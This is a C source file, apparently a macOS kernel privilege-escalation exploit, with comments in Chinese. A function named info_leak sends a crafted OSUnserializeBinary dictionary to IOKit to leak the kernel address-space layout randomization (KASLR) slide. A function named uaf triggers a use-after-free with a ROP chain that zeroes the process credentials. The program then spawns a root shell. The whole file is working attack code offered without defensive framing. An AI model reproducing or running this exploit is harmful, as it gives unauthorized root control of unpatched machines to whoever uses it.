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exploit-64.c
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exploit-64.c
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#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include "librop/librop.h"
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"
enum {
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
};
uint64_t info_leak(void){
kern_return_t kr=0,err=0;
//mach端口
mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;
//iokit的参数
io_service_t serv = 0;
io_connect_t conn = 0;
io_iterator_t iter = 0;
//构造字典
void *dict = calloc(1, 512);
int index = 0;
memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
index += sizeof(kOSSerializeCodeSignature);
*(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
index += 4;
*(uint32_t *)(dict+index) = 0x00414141;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
index += 4;
//因为要编译成32bit所以按照32bit写入
*(uint32_t *)(dict+index) = 0x41414141;
index += 4;
*(uint32_t *)(dict+index) = 0x41414141;
index += 4;
host_get_io_master(mach_host_self(), &master);
kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
if(kr != KERN_SUCCESS) return -1;
printf("字典合法，success\n");
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
if(kr != KERN_SUCCESS) return -1;
printf("泄漏成功, success\n");
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);
char buffer[0x20A] = {0};
mach_msg_type_number_t bufLen = 0x200;
if(kr!=KERN_SUCCESS) return -1;
kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
/*
for(uint32_t k = 0; k < 128; k += 8) {
printf("%llx\n", *(uint64_t *)(buffer + k));
}
*/
//硬编码地址要自己逆向去找
uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
//地址是内核栈上的第几个也要通过打印自己看
printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}
void uaf(){
kern_return_t kr = 0;
mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));
//构造字典
void *dict = calloc(1, 512);
int index = 0;
printf("high: %x, low: %x\n, whole: %llx", (uint32_t)((uint64_t)chain->chain >> 32), (uint32_t)chain->chain, (uint64_t)chain->chain);
//获取内核偏移
SET_KERNEL_SLIDE(info_leak());
//拿到内核
macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
printf("开始构造 ROP chain\n");
/*
chain->chain[0] = 0;
chain->chain[1] = 0;
chain->chain[2] = 0;
chain->chain[3] = ROP_POP_RBX(map);
chain->chain[4] = ROP_XCHG_RSP_RAX(map);
chain->chain[5] = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
chain->chain[6] = ROP_RAX_TO_ARG1(map, chain);
chain->chain[7] = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
chain->chain[8] = ROP_RAX_TO_ARG1(map, chain);
chain->chain[9] = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
chain->chain[10] = ROP_RAX_TO_ARG1(map, chain);
chain->chain[11] = ROP_ARG2(chain, map, (sizeof(int) * 3));
chain->chain[12] = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
chain->chain[13] = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
for(int i = 0 ;i < 14 ;i++)
printf("%d: %d\n",i, chain->chain[i]);
*/
//为了更直观我就不用宏了
memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeString | 4;
index += 4;
*(uint32_t *)(dict+index) = 0x00414141;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
index += 4;
*(uint32_t *)(dict+index) = 0x00424242;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
index += 4;
*(uint32_t *)(dict+index) = (uint32_t)chain->chain;
index += 4;
*(uint32_t *)(dict+index) = (uint32_t)((uint64_t)chain->chain>>32);
index += 4;
for(int i = 0 ; i < 6 ;i++){
*(uint32_t *)(dict+index) = 0x00000000;
index += 4;
}
*(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
index += 4;
*(uint32_t *)(dict+index) = 0x00434343;
index += 4;
*(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
index += 4;
PUSH_GADGET(chain) = 0;
PUSH_GADGET(chain) = 0;
PUSH_GADGET(chain) = 0;
PUSH_GADGET(chain) = ROP_POP_RBX(map);
PUSH_GADGET(chain) = ROP_XCHG_RSP_RAX(map);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
for(int i = 0 ;i < 16 ;i++)
printf("%d: %llx\n",i, chain->chain[i]);
//触发反序列化
host_get_io_master(mach_host_self(), &master);
kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
if (kr != KERN_SUCCESS)
return;
}
int main(){
sync();
uaf();
if(getuid() == 0){
printf("exploit successfully~\n");
system("/bin/bash");
}
return 0;
}